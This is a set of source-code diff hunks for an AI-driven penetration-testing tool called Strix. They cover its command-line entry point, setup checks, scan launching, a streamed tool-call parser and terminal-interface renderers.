def signal_handler(_signum: int, _frame: Any) -> None:
tracer.cleanup()
sys.exit(1)
atexit.register(cleanup_on_exit)
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
if hasattr(signal, "SIGHUP"):
signal.signal(signal.SIGHUP, signal_handler)
set_global_tracer(tracer)
def create_live_status() -> Panel:
status_text = Text()
status_text.append("🦉 ", style="bold white")
status_text.append("Running penetration test...", style="bold #22c55e")
status_text.append("\n\n")
stats_text = build_live_stats_text(tracer, agent_config)
if stats_text:
status_text.append(stats_text)
return Panel(
status_text,
title="[bold #22c55e]🔍 Live Penetration Test Status",
title_align="center",
border_style="#22c55e",
padding=(1, 2),
)
try:
console.print()
with Live(
create_live_status(), console=console, refresh_per_second=2, transient=False
) as live:
stop_updates = threading.Event()
def update_status() -> None:
while not stop_updates.is_set():
try:
live.update(create_live_status())
time.sleep(2)
except Exception: # noqa: BLE001
break
update_thread = threading.Thread(target=update_status, daemon=True)
update_thread.start()
try:
agent = StrixAgent(agent_config)
result = await agent.execute_scan(scan_config)
if isinstance(result, dict) and not result.get("success", True):
error_msg = result.get("error", "Unknown error")
error_details = result.get("details")
console.print()
console.print(f"[bold red]❌ Penetration test failed:[/] {error_msg}")
if error_details:
console.print(f"[dim]{error_details}[/]")
console.print()
sys.exit(1)
finally:
stop_updates.set()
update_thread.join(timeout=1)
except Exception as e:
console.print(f"[bold red]Error during penetration test:[/] {e}")
raise
if tracer.final_scan_result:
console.print()
final_report_text = Text()
final_report_text.append("📄 ", style="bold cyan")
final_report_text.append("FINAL PENETRATION TEST REPORT", style="bold cyan")
final_report_panel = Panel(
Text.assemble(
final_report_text,
"\n\n",
tracer.final_scan_result,
),
title="[bold cyan]📊 PENETRATION TEST SUMMARY",
title_align="center",
border_style="cyan",
padding=(1, 2),
)
console.print(final_report_panel)
console.print()
+577
View File
@@ -0,0 +1,577 @@
#!/usr/bin/env python3
"""
Strix Agent Interface
"""
import argparse
import asyncio
import logging
import shutil
import sys
from pathlib import Path
from typing import Any
import litellm
from docker.errors import DockerException
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import Config, apply_saved_config, save_current_config
apply_saved_config()
from strix.interface.cli import run_cli # noqa: E402
from strix.interface.tui import run_tui # noqa: E402
from strix.interface.utils import ( # noqa: E402
assign_workspace_subdirs,
build_final_stats_text,
check_docker_connection,
clone_repository,
collect_local_sources,
generate_run_name,
image_exists,
infer_target_type,
process_pull_line,
rewrite_localhost_targets,
validate_llm_response,
)
from strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME # noqa: E402
from strix.telemetry import posthog # noqa: E402
from strix.telemetry.tracer import get_global_tracer # noqa: E402
logging.getLogger().setLevel(logging.ERROR)
def validate_environment() -> None: # noqa: PLR0912, PLR0915
console = Console()
missing_required_vars = []
missing_optional_vars = []
if not Config.get("strix_llm"):
missing_required_vars.append("STRIX_LLM")
has_base_url = any(
[
Config.get("llm_api_base"),
Config.get("openai_api_base"),
Config.get("litellm_base_url"),
Config.get("ollama_api_base"),
]
)
if not Config.get("llm_api_key"):
missing_optional_vars.append("LLM_API_KEY")
if not has_base_url:
missing_optional_vars.append("LLM_API_BASE")
if not Config.get("perplexity_api_key"):
missing_optional_vars.append("PERPLEXITY_API_KEY")
if not Config.get("strix_reasoning_effort"):
missing_optional_vars.append("STRIX_REASONING_EFFORT")
if missing_required_vars:
error_text = Text()
error_text.append("", style="bold red")
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
error_text.append("\n\n", style="white")
for var in missing_required_vars:
error_text.append(f"{var}", style="bold yellow")
error_text.append(" is not set\n", style="white")
if missing_optional_vars:
error_text.append("\nOptional environment variables:\n", style="dim white")
for var in missing_optional_vars:
error_text.append(f"{var}", style="dim yellow")
error_text.append(" is not set\n", style="dim white")
error_text.append("\nRequired environment variables:\n", style="white")
for var in missing_required_vars:
if var == "STRIX_LLM":
error_text.append("", style="white")
error_text.append("STRIX_LLM", style="bold cyan")
error_text.append(
" - Model name to use with litellm (e.g., 'openai/gpt-5')\n",
style="white",
)
if missing_optional_vars:
error_text.append("\nOptional environment variables:\n", style="white")
for var in missing_optional_vars:
if var == "LLM_API_KEY":
error_text.append("", style="white")
error_text.append("LLM_API_KEY", style="bold cyan")
error_text.append(
" - API key for the LLM provider "
"(not needed for local models, Vertex AI, AWS, etc.)\n",
style="white",
)
elif var == "LLM_API_BASE":
error_text.append("", style="white")
error_text.append("LLM_API_BASE", style="bold cyan")
error_text.append(
" - Custom API base URL if using local models (e.g., Ollama, LMStudio)\n",
style="white",
)
elif var == "PERPLEXITY_API_KEY":
error_text.append("", style="white")
error_text.append("PERPLEXITY_API_KEY", style="bold cyan")
error_text.append(
" - API key for Perplexity AI web search (enables real-time research)\n",
style="white",
)
elif var == "STRIX_REASONING_EFFORT":
error_text.append("", style="white")
error_text.append("STRIX_REASONING_EFFORT", style="bold cyan")
error_text.append(
" - Reasoning effort level: none, minimal, low, medium, high, xhigh "
"(default: high)\n",
style="white",
)
error_text.append("\nExample setup:\n", style="white")
error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white")
if missing_optional_vars:
for var in missing_optional_vars:
if var == "LLM_API_KEY":
error_text.append(
"export LLM_API_KEY='your-api-key-here' "
"# not needed for local models, Vertex AI, AWS, etc.\n",
style="dim white",
)
elif var == "LLM_API_BASE":
error_text.append(
"export LLM_API_BASE='http://localhost:11434' "
"# needed for local models only\n",
style="dim white",
)
elif var == "PERPLEXITY_API_KEY":
error_text.append(
"export PERPLEXITY_API_KEY='your-perplexity-key-here'\n", style="dim white"
)
elif var == "STRIX_REASONING_EFFORT":
error_text.append(
"export STRIX_REASONING_EFFORT='high'\n",
style="dim white",
)
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX CONFIGURATION ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
def check_docker_installed() -> None:
if shutil.which("docker") is None:
console = Console()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("DOCKER NOT INSTALLED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
error_text.append(
"Please install Docker and ensure the 'docker' command is available.\n\n", style="white"
)
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n", panel, "\n")
sys.exit(1)
async def warm_up_llm() -> None:
console = Console()
try:
model_name = Config.get("strix_llm")
api_key = Config.get("llm_api_key")
api_base = (
Config.get("llm_api_base")
or Config.get("openai_api_base")
or Config.get("litellm_base_url")
or Config.get("ollama_api_base")
)
test_messages = [
{"role": "system", "content": "You are a helpful assistant."},
{"role": "user", "content": "Reply with just 'OK'."},
]
llm_timeout = int(Config.get("llm_timeout") or "300")
completion_kwargs: dict[str, Any] = {
"model": model_name,
"messages": test_messages,
"timeout": llm_timeout,
}
if api_key:
completion_kwargs["api_key"] = api_key
if api_base:
completion_kwargs["api_base"] = api_base
response = litellm.completion(**completion_kwargs)
validate_llm_response(response)
except Exception as e: # noqa: BLE001
error_text = Text()
error_text.append("", style="bold red")
error_text.append("LLM CONNECTION FAILED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("Could not establish connection to the language model.\n", style="white")
error_text.append("Please check your configuration and try again.\n", style="white")
error_text.append(f"\nError: {e}", style="dim white")
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
def get_version() -> str:
try:
from importlib.metadata import version
return version("strix-agent")
except Exception: # noqa: BLE001
return "unknown"
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Web application penetration test
strix --target https://example.com
# GitHub repository analysis
strix --target https://github.com/user/repo
strix --target git@github.com:user/repo.git
# Local code analysis
strix --target ./my-project
# Domain penetration test
strix --target example.com
# IP address penetration test
strix --target 192.168.1.42
# Multiple targets (e.g., white-box testing with source and deployed app)
strix --target https://github.com/user/repo --target https://example.com
strix --target ./my-project --target https://staging.example.com --target https://prod.example.com
# Custom instructions (inline)
strix --target example.com --instruction "Focus on authentication vulnerabilities"
# Custom instructions (from file)
strix --target example.com --instruction-file ./instructions.txt
strix --target https://app.com --instruction-file /path/to/detailed_instructions.md
""",
)
parser.add_argument(
"-v",
"--version",
action="version",
version=f"strix {get_version()}",
)
parser.add_argument(
"-t",
"--target",
type=str,
required=True,
action="append",
help="Target to test (URL, repository, local directory path, domain name, or IP address). "
"Can be specified multiple times for multi-target scans.",
)
parser.add_argument(
"--instruction",
type=str,
help="Custom instructions for the penetration test. This can be "
"specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), "
"testing approaches (e.g., 'Perform thorough authentication testing'), "
"test credentials (e.g., 'Use the following credentials to access the app: "
"admin:password123'), "
"or areas of interest (e.g., 'Check login API endpoint for security issues').",
)
parser.add_argument(
"--instruction-file",
type=str,
help="Path to a file containing detailed custom instructions for the penetration test. "
"Use this option when you have lengthy or complex instructions saved in a file "
"(e.g., '--instruction-file ./detailed_instructions.txt').",
)
parser.add_argument(
"-n",
"--non-interactive",
action="store_true",
help=(
"Run in non-interactive mode (no TUI, exits on completion). "
"Default is interactive mode with TUI."
),
)
parser.add_argument(
"-m",
"--scan-mode",
type=str,
choices=["quick", "standard", "deep"],
default="deep",
help=(
"Scan mode: "
"'quick' for fast CI/CD checks, "
"'standard' for routine testing, "
"'deep' for thorough security reviews (default). "
"Default: deep."
),
)
args = parser.parse_args()
if args.instruction and args.instruction_file:
parser.error(
"Cannot specify both --instruction and --instruction-file. Use one or the other."
)
if args.instruction_file:
instruction_path = Path(args.instruction_file)
try:
with instruction_path.open(encoding="utf-8") as f:
args.instruction = f.read().strip()
if not args.instruction:
parser.error(f"Instruction file '{instruction_path}' is empty")
except Exception as e: # noqa: BLE001
parser.error(f"Failed to read instruction file '{instruction_path}': {e}")
args.targets_info = []
for target in args.target:
try:
target_type, target_dict = infer_target_type(target)
if target_type == "local_code":
display_target = target_dict.get("target_path", target)
else:
display_target = target
args.targets_info.append(
{"type": target_type, "details": target_dict, "original": display_target}
)
except ValueError:
parser.error(f"Invalid target '{target}'")
assign_workspace_subdirs(args.targets_info)
rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME)
return args
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
console = Console()
tracer = get_global_tracer()
scan_completed = False
if tracer and tracer.scan_results:
scan_completed = tracer.scan_results.get("scan_completed", False)
has_vulnerabilities = tracer and len(tracer.vulnerability_reports) > 0
completion_text = Text()
if scan_completed:
completion_text.append("🦉 ", style="bold white")
completion_text.append("AGENT FINISHED", style="bold green")
completion_text.append("", style="dim white")
completion_text.append("Penetration test completed", style="white")
else:
completion_text.append("🦉 ", style="bold white")
completion_text.append("SESSION ENDED", style="bold yellow")
completion_text.append("", style="dim white")
completion_text.append("Penetration test interrupted by user", style="white")
stats_text = build_final_stats_text(tracer)
target_text = Text()
if len(args.targets_info) == 1:
target_text.append("🎯 Target: ", style="bold cyan")
target_text.append(args.targets_info[0]["original"], style="bold white")
else:
target_text.append("🎯 Targets: ", style="bold cyan")
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
for i, target_info in enumerate(args.targets_info):
target_text.append("", style="dim white")
target_text.append(target_info["original"], style="white")
if i < len(args.targets_info) - 1:
target_text.append("\n")
panel_parts = [completion_text, "\n\n", target_text]
if stats_text.plain:
panel_parts.extend(["\n", stats_text])
if scan_completed or has_vulnerabilities:
results_text = Text()
results_text.append("📊 Results Saved To: ", style="bold cyan")
results_text.append(str(results_path), style="bold yellow")
panel_parts.extend(["\n\n", results_text])
panel_content = Text.assemble(*panel_parts)
border_style = "green" if scan_completed else "yellow"
panel = Panel(
panel_content,
title="[bold green]🛡️ STRIX CYBERSECURITY AGENT",
title_align="center",
border_style=border_style,
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
console.print("[dim]🌐 Website:[/] [cyan]https://strix.ai[/]")
console.print("[dim]💬 Discord:[/] [cyan]https://discord.gg/YjKFvEZSdZ[/]")
console.print()
def pull_docker_image() -> None:
console = Console()
client = check_docker_connection()
if image_exists(client, Config.get("strix_image")): # type: ignore[arg-type]
return
console.print()
console.print(f"[bold cyan]🐳 Pulling Docker image:[/] {Config.get('strix_image')}")
console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]")
console.print()
with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status:
try:
layers_info: dict[str, str] = {}
last_update = ""
for line in client.api.pull(Config.get("strix_image"), stream=True, decode=True):
last_update = process_pull_line(line, layers_info, status, last_update)
except DockerException as e:
console.print()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("FAILED TO PULL IMAGE", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(f"Could not download: {Config.get('strix_image')}\n", style="white")
error_text.append(str(e), style="dim red")
panel = Panel(
error_text,
title="[bold red]🛡️ DOCKER PULL ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print(panel, "\n")
sys.exit(1)
success_text = Text()
success_text.append("", style="bold green")
success_text.append("Successfully pulled Docker image", style="green")
console.print(success_text)
console.print()
def main() -> None:
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
args = parse_arguments()
check_docker_installed()
pull_docker_image()
validate_environment()
asyncio.run(warm_up_llm())
save_current_config()
args.run_name = generate_run_name(args.targets_info)
for target_info in args.targets_info:
if target_info["type"] == "repository":
repo_url = target_info["details"]["target_repo"]
dest_name = target_info["details"].get("workspace_subdir")
cloned_path = clone_repository(repo_url, args.run_name, dest_name)
target_info["details"]["cloned_repo_path"] = cloned_path
args.local_sources = collect_local_sources(args.targets_info)
is_whitebox = bool(args.local_sources)
posthog.start(
model=Config.get("strix_llm"),
scan_mode=args.scan_mode,
is_whitebox=is_whitebox,
interactive=not args.non_interactive,
has_instructions=bool(args.instruction),
)
exit_reason = "user_exit"
try:
if args.non_interactive:
asyncio.run(run_cli(args))
else:
asyncio.run(run_tui(args))
except KeyboardInterrupt:
exit_reason = "interrupted"
except Exception as e:
exit_reason = "error"
posthog.error("unhandled_exception", str(e))
raise
finally:
tracer = get_global_tracer()
if tracer:
posthog.end(tracer, exit_reason=exit_reason)
results_path = Path("strix_runs") / args.run_name
display_completion_message(args, results_path)
if args.non_interactive:
tracer = get_global_tracer()
if tracer and tracer.vulnerability_reports:
sys.exit(2)
if __name__ == "__main__":
main()
+119
View File
@@ -0,0 +1,119 @@
import html
import re
from dataclasses import dataclass
from typing import Literal
_FUNCTION_TAG_PREFIX = "<function="
def _get_safe_content(content: str) -> tuple[str, str]:
if not content:
return "", ""
last_lt = content.rfind("<")
if last_lt == -1:
return content, ""
suffix = content[last_lt:]
target = _FUNCTION_TAG_PREFIX # "<function="
if target.startswith(suffix):
return content[:last_lt], suffix
return content, ""
@dataclass
class StreamSegment:
type: Literal["text", "tool"]
content: str
tool_name: str | None = None
args: dict[str, str] | None = None
is_complete: bool = False
def parse_streaming_content(content: str) -> list[StreamSegment]:
if not content:
return []
segments: list[StreamSegment] = []
func_pattern = r"<function=([^>]+)>"
func_matches = list(re.finditer(func_pattern, content))
if not func_matches:
safe_content, _ = _get_safe_content(content)
text = safe_content.strip()
if text:
segments.append(StreamSegment(type="text", content=text))
return segments
first_func_start = func_matches[0].start()
if first_func_start > 0:
text_before = content[:first_func_start].strip()
if text_before:
segments.append(StreamSegment(type="text", content=text_before))
for i, match in enumerate(func_matches):
tool_name = match.group(1)
func_start = match.end()
func_end_match = re.search(r"</function>", content[func_start:])
if func_end_match:
func_body = content[func_start : func_start + func_end_match.start()]
is_complete = True
end_pos = func_start + func_end_match.end()
else:
if i + 1 < len(func_matches):
next_func_start = func_matches[i + 1].start()
func_body = content[func_start:next_func_start]
else:
func_body = content[func_start:]
is_complete = False
end_pos = len(content)
args = _parse_streaming_params(func_body)
segments.append(
StreamSegment(
type="tool",
content=func_body,
tool_name=tool_name,
args=args,
is_complete=is_complete,
)
)
if is_complete and i + 1 < len(func_matches):
next_start = func_matches[i + 1].start()
text_between = content[end_pos:next_start].strip()
if text_between:
segments.append(StreamSegment(type="text", content=text_between))
return segments
def _parse_streaming_params(func_body: str) -> dict[str, str]:
args: dict[str, str] = {}
complete_pattern = r"<parameter=([^>]+)>(.*?)</parameter>"
complete_matches = list(re.finditer(complete_pattern, func_body, re.DOTALL))
complete_end_pos = 0
for match in complete_matches:
param_name = match.group(1)
param_value = html.unescape(match.group(2).strip())
args[param_name] = param_value
complete_end_pos = max(complete_end_pos, match.end())
remaining = func_body[complete_end_pos:]
incomplete_pattern = r"<parameter=([^>]+)>(.*)$"
incomplete_match = re.search(incomplete_pattern, remaining, re.DOTALL)
if incomplete_match:
param_name = incomplete_match.group(1)
param_value = html.unescape(incomplete_match.group(2).strip())
args[param_name] = param_value
return args
@@ -1,4 +1,5 @@
from . import ( from . import (
agent_message_renderer,
agents_graph_renderer, agents_graph_renderer,
browser_renderer, browser_renderer,
file_edit_renderer, file_edit_renderer,
@@ -10,6 +11,7 @@ from . import (
scan_info_renderer, scan_info_renderer,
terminal_renderer, terminal_renderer,
thinking_renderer, thinking_renderer,
todo_renderer,
user_message_renderer, user_message_renderer,
web_search_renderer, web_search_renderer,
) )
@@ -20,6 +22,7 @@ from .registry import ToolTUIRegistry, get_tool_renderer, register_tool_renderer
__all__ = [ __all__ = [
"BaseToolRenderer", "BaseToolRenderer",
"ToolTUIRegistry", "ToolTUIRegistry",
"agent_message_renderer",
"agents_graph_renderer", "agents_graph_renderer",
"browser_renderer", "browser_renderer",
"file_edit_renderer", "file_edit_renderer",
@@ -34,6 +37,7 @@ __all__ = [
"scan_info_renderer", "scan_info_renderer",
"terminal_renderer", "terminal_renderer",
"thinking_renderer", "thinking_renderer",
"todo_renderer",
"user_message_renderer", "user_message_renderer",
"web_search_renderer", "web_search_renderer",
] ]
@@ -0,0 +1,190 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name, guess_lexer
from pygments.styles import get_style_by_name
from pygments.util import ClassNotFound
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
_HEADER_STYLES = [
("###### ", 7, "bold #4ade80"),
("##### ", 6, "bold #22c55e"),
("#### ", 5, "bold #16a34a"),
("### ", 4, "bold #15803d"),
("## ", 3, "bold #22c55e"),
("# ", 2, "bold #4ade80"),
]
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
def _get_token_color(token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
def _highlight_code(code: str, language: str | None = None) -> Text:
text = Text()
try:
lexer = get_lexer_by_name(language) if language else guess_lexer(code)
except ClassNotFound:
text.append(code, style="#d4d4d4")
return text
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = _get_token_color(token_type)
text.append(token_value, style=color)
return text
def _try_parse_header(line: str) -> tuple[str, str] | None:
for prefix, strip_len, style in _HEADER_STYLES:
if line.startswith(prefix):
return (line[strip_len:], style)
return None
def _apply_markdown_styles(text: str) -> Text: # noqa: PLR0912
result = Text()
lines = text.split("\n")
in_code_block = False
code_block_lang: str | None = None
code_block_lines: list[str] = []
for i, line in enumerate(lines):
if i > 0 and not in_code_block:
result.append("\n")
if line.startswith("```"):
if not in_code_block:
in_code_block = True
code_block_lang = line[3:].strip() or None
code_block_lines = []
if i > 0:
result.append("\n")
else:
in_code_block = False
code_content = "\n".join(code_block_lines)
if code_content:
result.append_text(_highlight_code(code_content, code_block_lang))
code_block_lines = []
code_block_lang = None
continue
if in_code_block:
code_block_lines.append(line)
continue
header = _try_parse_header(line)
if header:
result.append(header[0], style=header[1])
elif line.startswith("> "):
result.append("", style="#22c55e")
result.append_text(_process_inline_formatting(line[2:]))
elif line.startswith(("- ", "* ")):
result.append("", style="#22c55e")
result.append_text(_process_inline_formatting(line[2:]))
elif len(line) > 2 and line[0].isdigit() and line[1:3] in (". ", ") "):
result.append(line[0] + ". ", style="#22c55e")
result.append_text(_process_inline_formatting(line[2:]))
elif line.strip() in ("---", "***", "___"):
result.append("" * 40, style="#22c55e")
else:
result.append_text(_process_inline_formatting(line))
if in_code_block and code_block_lines:
code_content = "\n".join(code_block_lines)
result.append_text(_highlight_code(code_content, code_block_lang))
return result
def _process_inline_formatting(line: str) -> Text:
result = Text()
i = 0
n = len(line)
while i < n:
if i + 1 < n and line[i : i + 2] in ("**", "__"):
marker = line[i : i + 2]
end = line.find(marker, i + 2)
if end != -1:
result.append(line[i + 2 : end], style="bold #4ade80")
i = end + 2
continue
if i + 1 < n and line[i : i + 2] == "~~":
end = line.find("~~", i + 2)
if end != -1:
result.append(line[i + 2 : end], style="strike #525252")
i = end + 2
continue
if line[i] == "`":
end = line.find("`", i + 1)
if end != -1:
result.append(line[i + 1 : end], style="bold #22c55e on #0a0a0a")
i = end + 1
continue
if line[i] in ("*", "_"):
marker = line[i]
if i + 1 < n and line[i + 1] != marker:
end = line.find(marker, i + 1)
if end != -1 and (end + 1 >= n or line[end + 1] != marker):
result.append(line[i + 1 : end], style="italic #86efac")
i = end + 1
continue
result.append(line[i])
i += 1
return result
@register_tool_renderer
class AgentMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "agent_message"
css_classes: ClassVar[list[str]] = ["chat-message", "agent-message"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
content = tool_data.get("content", "")
if not content:
return Static(Text(), classes=" ".join(cls.css_classes))
styled_text = _apply_markdown_styles(content)
return Static(styled_text, classes=" ".join(cls.css_classes))
@classmethod
def render_simple(cls, content: str) -> Text:
if not content:
return Text()
from strix.llm.utils import clean_content
cleaned = clean_content(content)
if not cleaned:
return Text()
return _apply_markdown_styles(cleaned)
@@ -0,0 +1,139 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ViewAgentGraphRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_agent_graph"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
status = tool_data.get("status", "unknown")
text = Text()
text.append("", style="#a78bfa")
text.append("viewing agents graph", style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class CreateAgentRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_agent"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
task = args.get("task", "")
name = args.get("name", "Agent")
text = Text()
text.append("", style="#a78bfa")
text.append("spawning ", style="dim")
text.append(name, style="bold #a78bfa")
if task:
text.append("\n ")
text.append(task, style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class SendMessageToAgentRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "send_message_to_agent"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
message = args.get("message", "")
agent_id = args.get("agent_id", "")
text = Text()
text.append("", style="#60a5fa")
if agent_id:
text.append(f"to {agent_id}", style="dim")
else:
text.append("sending message", style="dim")
if message:
text.append("\n ")
text.append(message, style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@register_tool_renderer
class AgentFinishRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "agent_finish"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result_summary = args.get("result_summary", "")
findings = args.get("findings", [])
success = args.get("success", True)
text = Text()
text.append("🏁 ")
if success:
text.append("Agent completed", style="bold #fbbf24")
else:
text.append("Agent failed", style="bold #fbbf24")
if result_summary:
text.append("\n ")
text.append(result_summary, style="bold")
if findings and isinstance(findings, list):
for finding in findings:
text.append("\n")
text.append(str(finding), style="dim")
else:
text.append("\n ")
text.append("Completing task...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class WaitForMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "wait_for_message"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
reason = args.get("reason", "")
text = Text()
text.append("", style="#6b7280")
text.append("waiting", style="dim")
if reason:
text.append("\n ")
text.append(reason, style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -0,0 +1,94 @@
from abc import ABC, abstractmethod
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
class BaseToolRenderer(ABC):
tool_name: ClassVar[str] = ""
css_classes: ClassVar[list[str]] = ["tool-call"]
@classmethod
@abstractmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
pass
@classmethod
def build_text(cls, tool_data: dict[str, Any]) -> Text: # noqa: ARG003
return Text()
@classmethod
def create_static(cls, content: Text, status: str) -> Static:
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def status_icon(cls, status: str) -> tuple[str, str]:
icons = {
"running": ("● In progress...", "#f59e0b"),
"completed": ("✓ Done", "#22c55e"),
"failed": ("✗ Failed", "#dc2626"),
"error": ("✗ Error", "#dc2626"),
}
return icons.get(status, ("○ Unknown", "dim"))
@classmethod
def get_css_classes(cls, status: str) -> str:
base_classes = cls.css_classes.copy()
base_classes.append(f"status-{status}")
return " ".join(base_classes)
@classmethod
def text_with_style(cls, content: str, style: str | None = None) -> Text:
text = Text()
text.append(content, style=style)
return text
@classmethod
def text_icon_label(
cls,
icon: str,
label: str,
icon_style: str | None = None,
label_style: str | None = None,
) -> Text:
text = Text()
text.append(icon, style=icon_style)
text.append(" ")
text.append(label, style=label_style)
return text
@classmethod
def text_header(
cls,
icon: str,
title: str,
subtitle: str = "",
title_style: str = "bold",
subtitle_style: str = "dim",
) -> Text:
text = Text()
text.append(icon)
text.append(" ")
text.append(title, style=title_style)
if subtitle:
text.append(" ")
text.append(subtitle, style=subtitle_style)
return text
@classmethod
def text_key_value(
cls,
key: str,
value: str,
key_style: str = "dim",
value_style: str | None = None,
indent: int = 2,
) -> Text:
text = Text()
text.append(" " * indent)
text.append(key, style=key_style)
text.append(": ")
text.append(value, style=value_style)
return text
@@ -0,0 +1,135 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@register_tool_renderer
class BrowserRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "browser_action"
css_classes: ClassVar[list[str]] = ["tool-call", "browser-tool"]
SIMPLE_ACTIONS: ClassVar[dict[str, str]] = {
"back": "going back in browser history",
"forward": "going forward in browser history",
"scroll_down": "scrolling down",
"scroll_up": "scrolling up",
"refresh": "refreshing browser tab",
"close_tab": "closing browser tab",
"switch_tab": "switching browser tab",
"list_tabs": "listing browser tabs",
"view_source": "viewing page source",
"get_console_logs": "getting console logs",
"screenshot": "taking screenshot of browser tab",
"wait": "waiting...",
"close": "closing browser",
}
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_js(cls, code: str) -> Text:
lexer = get_lexer_by_name("javascript")
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
action = args.get("action", "unknown")
content = cls._build_content(action, args)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_url_action(cls, text: Text, label: str, url: str | None, suffix: str = "") -> None:
text.append(label, style="#06b6d4")
if url:
text.append(url, style="#06b6d4")
if suffix:
text.append(suffix, style="#06b6d4")
@classmethod
def _build_content(cls, action: str, args: dict[str, Any]) -> Text:
text = Text()
text.append("🌐 ")
if action in cls.SIMPLE_ACTIONS:
text.append(cls.SIMPLE_ACTIONS[action], style="#06b6d4")
return text
url = args.get("url")
url_actions = {
"launch": ("launching ", " on browser" if url else "browser"),
"goto": ("navigating to ", ""),
"new_tab": ("opening tab ", ""),
}
if action in url_actions:
label, suffix = url_actions[action]
if action == "launch" and not url:
text.append("launching browser", style="#06b6d4")
else:
cls._build_url_action(text, label, url, suffix)
return text
click_actions = {
"click": "clicking",
"double_click": "double clicking",
"hover": "hovering",
}
if action in click_actions:
text.append(click_actions[action], style="#06b6d4")
return text
handlers: dict[str, tuple[str, str | None]] = {
"type": ("typing ", args.get("text")),
"press_key": ("pressing key ", args.get("key")),
